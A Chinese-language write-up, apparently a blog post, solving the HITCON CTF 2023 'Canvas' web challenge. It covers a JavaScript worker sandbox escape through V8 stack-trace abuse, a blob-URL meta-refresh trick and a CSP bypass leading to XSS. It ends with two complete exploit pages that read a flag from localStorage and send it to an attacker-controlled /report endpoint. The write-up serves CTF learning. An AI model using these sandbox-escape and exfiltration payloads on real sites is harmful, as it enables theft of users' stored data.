2023/09/19:HITCON2023

https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Canvas
大学牲看不来这个,尽量看吧

Canves

js沙箱逃逸+CSP绕过+xss?

关于docker

根据这篇wp,执行docker-compose up -d前需要创建一个.env文件,写上SITE=http://web
当然也可以装作没看到这句话直接起,但是很慢且可能出错导致失败提升血压

大体思路

翻译一下,“可以发现在web的worker里面有个‘jain’(老外意义不明简写?)可以进行js命令执行,目标是通过某种方法从localStorage获得flag”
这什么玩意?

先看看web里有啥

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// sample code taken from https://www.dwitter.net/d/18597
const fallback =
localStorage.savedCode ??
'with(x)for(i=999;i--;fillRect(~setTransform(s=24e3/i,0,0,4*s,960-i+9*s*C(a=i+60*t),540+8*s*S(a)),~rotate(T(a*a)),2,2))fillStyle=R(9,i/4,i/3)'
let code = new URLSearchParams(location.search).get('code') ?? fallback
localStorage.savedCode = code

const worker = new Worker('worker.js')
worker.addEventListener('message', function (event) {
if (event.data.type === 'error') {
document.getElementById('error-output').setHTML(event.data.content)
}
})
const canvas = document.getElementById('canvas').transferControlToOffscreen()
worker.postMessage({ type: 'init', code, canvas }, [canvas])

const form = document.getElementById('code-form')
form.code.value = code

document.getElementById('btn-reset').addEventListener('click', function () {
delete localStorage.savedCode
location = '/'
})

可以看到mian.js中第一行代码在localStorage后有一长串单引号包起来的玩意,这些就是刚进入题目时代码框里的代码,百度可知通过html的canves可以让这些代码生成一张图片,就是点进去映入眼帘的动图
大概意思是main.js用worker.js生成了个<canves>,可以操作它,重点应该在worker.js那里
worker.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
function allKeys(obj) {
let keys = []
while (obj !== null) {
keys = keys.concat(Object.getOwnPropertyNames(obj))
keys = keys.concat(Object.keys(Object.getOwnPropertyDescriptors(obj)))
obj = Object.getPrototypeOf(obj)
}
return [...new Set(keys)]
}
function escapeHTML(s) {
return String(s)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#039;')
}
function html(htmls, ...vals) {
let result = ''
for (let i = 0; i < htmls.length; i++) {
result += htmls[i]
result += escapeHTML(vals[i] ?? '')
}
return result
}
function hardening() {
const fnCons = [function () {}, async function () {}, function* () {}, async function* () {}].map(
f => f.constructor
)
for (const c of fnCons) {
Object.defineProperty(c.prototype, 'constructor', {
get: function () {
throw new Error('Nope')
},
set: function () {
throw new Error('Nope')
},
configurable: false
})
}
const cons = [Object, Array, Number, String, Boolean, Date, RegExp, Promise, Symbol, BigInt].concat(fnCons)
for (const c of cons) {
Object.freeze(c)
Object.freeze(c.prototype)
}
}
self.addEventListener('message', function (event) {
if (event.data.type === 'init') {
const canvas = event.data.canvas
const ctx = canvas.getContext('2d')

// taken from https://github.com/lionleaf/dwitter/blob/83cd600567692babb13ffec314c6066c4dfa04e4/dwitter/templates/dweet/dweet.html#L267-L270
const R = function (r, g, b, a) {
a = a === undefined ? 1 : a
return 'rgba(' + (r | 0) + ',' + (g | 0) + ',' + (b | 0) + ',' + a + ')'
}

const customArgs = ['c', 'x', 't', 'S', 'C', 'T', 'R']
const argNames = customArgs.concat(allKeys(self))
// run user code in an isolated environment
const fn = Function(...argNames, event.data.code)
const callUserFn = t => {
try {
fn.apply(Object.create(null), [canvas, ctx, t, Math.sin, Math.cos, Math.tan, R])
} catch (e) {
console.error('User function error', e)
postMessage({
type: 'error',
content: html`<div>
<h2>Script Error</h2>
<pre>${e.message ?? ''}\n${e.stack ?? ''}</pre>
</div>`
})
return false
}
return true
}

// hardening
hardening()

// fps controlling solution based on https://stackoverflow.com/questions/19764018/controlling-fps-with-requestanimationframe
let fps = 60
let fpsInterval = 1000 / fps
let then = Date.now()
let frame = 0
let stop = false
function render() {
if (stop) return
requestAnimationFrame(render)

const now = Date.now()
const elapsed = now - then

if (elapsed > fpsInterval) {
then = now - (elapsed % fpsInterval)

frame++
const success = callUserFn(frame / fps)
if (!success) {
stop = true
}
}
}
requestAnimationFrame(render)

// initial render
callUserFn(0)
}
})

worker.js用escapeHTML()转义了特殊字符,hardening()使某些对象和原型不可变,并阻止构造函数属性的修改来增强 JavaScript 环境的安全性和完整性,限制对某些属性的访。在尝试访问或修改 constructor 属性时会抛出错误,对于每个构造函数,它都会冻结构造函数本身和其原型使其不可变,防止对其属性的进一步修改或添加新属性。
剩下就是渲染了

再看看localStorage

是一个在浏览器中存储数据的 Web API,它提供了一个简单的键值对存储系统,用于将数据存储在客户端的浏览器中。这意味着您可以在浏览器中存储持久性数据,以便在用户会话之间保留状态或保存用户首选项等信息。
localStorage.savedCode可能是用来存储用户在网页或应用程序中输入或编辑的代码或其他文本数据的属性
这里保存了代码

最后看看bot

1
2
3
4
5
6
7
...
const FLAG = process.env.FLAG || 'test{flag}'
const CODE = `f=${JSON.stringify(FLAG)};l=f.length
c.width=1920
x.font="200px Arial"
for(i=0;i<l;i++){x.fillStyle=R(128+S(T(t)-i)*70,128+C(T(t)+i)*70,128+S(T(t)-l-i)*70,1.0);x.fillText(f[i],300+i*60+C(T((t-i/l)/1.8)-i)*400,540+S(T((t-i/l)/1.5)-i)*800)}`
...

由main.js可知flag在localStorage.savedCode

1
2
3
4
5
6
...
const page1 = await context.newPage()
await page1.goto(SITE + '/?code=' + encodeURIComponent(CODE))
await sleep(1000)
await page1.close()
...

执行新代码会重写,但由mian.js,flag在fallback里,最后可通过eval("fallback")执行

问题解决

全局变量->->CSP绕过

获得全局变量

1.
使用this

1
(function(){ throw { message: this } })()

2.
滥用V8 Stack Trace API:

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Error = TypeError.prototype.__proto__.constructor
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
try{
null.f()
} catch(e) {
const g = e.stack[2].getFunction().arguments[0].target
if (g) { throw { message: g } }
}

以上两种方法都可以获得worker的全局变量[object DedicatedWorkerGlobalScope]

worker逃逸(?

以此获得访问lacalStorage的方法
可以用URL.createObjectURL创建一个URL对象,这个对象与main同源

1
2
3
4
(function(){
const u = this.URL.createObjectURL(new this.Blob(['<h1>peko</h1>'], { type: 'text/html' }))
throw { message: u }
})()

以上代码可以创建一个类似blob:https://chal-canvas.chal.hitconctf.com/17a33cd9-ca3d-40a5-9944-4a18119aa576的URL
blob被视为本地资源,泄露url给服务器重定向,也不能Location,会导致ERR_UNSAFE_REDIRECT,使用Javascript会显示无法加载本地资源
选择使用<meta>重定向blob的url,这是同源的,可以用

1
2
3
4
(function(){
const u = this.URL.createObjectURL(new this.Blob(['<h1>peko</h1>'], { type: 'text/html' }))
this.postMessage({ type: 'error', content: 'hello' + '<meta http-equiv="refresh" content="0; url=' + u + '">' })
})()

CSP绕过

CSP:default-src 'self' 'unsafe-eval'
选择利用worker.js
由于 worker 全局项和 window 全局项之间的相似性,worker.js 实际上在被包含在 window 上下文中时工作得很好,只需要从另一个窗口postMessage,然后再次绕过防护获得 XSS。

大佬的exp

1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<iframe id="orig"></iframe>
<iframe id="f"></iframe>
<script>
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
;(async () => {
const base = `${location.protocol}//${location.host}`
const target = new URLSearchParams(location.search).get('target') ?? 'http://localhost:8763'
orig.src = target
await sleep(500)
f.src =
target +
'/?code=' +
encodeURIComponent(`
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Error = TypeError.prototype.__proto__.constructor
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
try{
null.f()
}catch(e){
g=e.stack[2]?.getFunction().arguments[0].target
const blob = new g.Blob(['<h1>peko</h1><script src="${target}/worker.js"><\/script>'], {type: 'text/html'})
const url = g.URL.createObjectURL(blob)
g.postMessage({ type: 'error', content: 'hello' + '<meta http-equiv="refresh" content="0; url='+url+'">' })
}
`)
await sleep(2000)
console.log('posting')
const canvas = document.createElement('canvas').transferControlToOffscreen()
f.contentWindow.postMessage(
{
type: 'init',
code: `
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Error = TypeError.prototype.__proto__.constructor
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
try{
null.f()
}catch(e){
const g = e.stack[2].getFunction().arguments[0].target
g.location = ${JSON.stringify(base)} + '/report?result=' + g.encodeURIComponent(g.top[0].eval('fallback'))
}
`,
canvas
},
'*',
[canvas]
)
})()
</script>

2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<iframe id="orig"></iframe>
<iframe id="f"></iframe>
<script>
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
;(async () => {
const base = `${location.protocol}//${location.host}`
const target = new URLSearchParams(location.search).get('target') ?? 'http://localhost:8763'
orig.src = target
await sleep(500)
f.src =
target +
'/?code=' +
encodeURIComponent(`
(function(){
with(this) {
const blob = new Blob(['<h1>peko</h1><script src="${target}/worker.js"><\/script>'], {type: 'text/html'})
const url = URL.createObjectURL(blob)
postMessage({ type: 'error', content: 'hello' + '<meta http-equiv="refresh" content="0; url='+url+'">' })
}
})()
`)
await sleep(2000)
console.log('posting')
const canvas = document.createElement('canvas').transferControlToOffscreen()
f.contentWindow.postMessage(
{
type: 'init',
code: `
(function(){
with(this) {
location = ${JSON.stringify(base)} + '/report?result=' + encodeURIComponent(top[0].eval('fallback'))
throw new Error("stop")
}
})()
`,
canvas
},
'*',
[canvas]
)
})()
</script>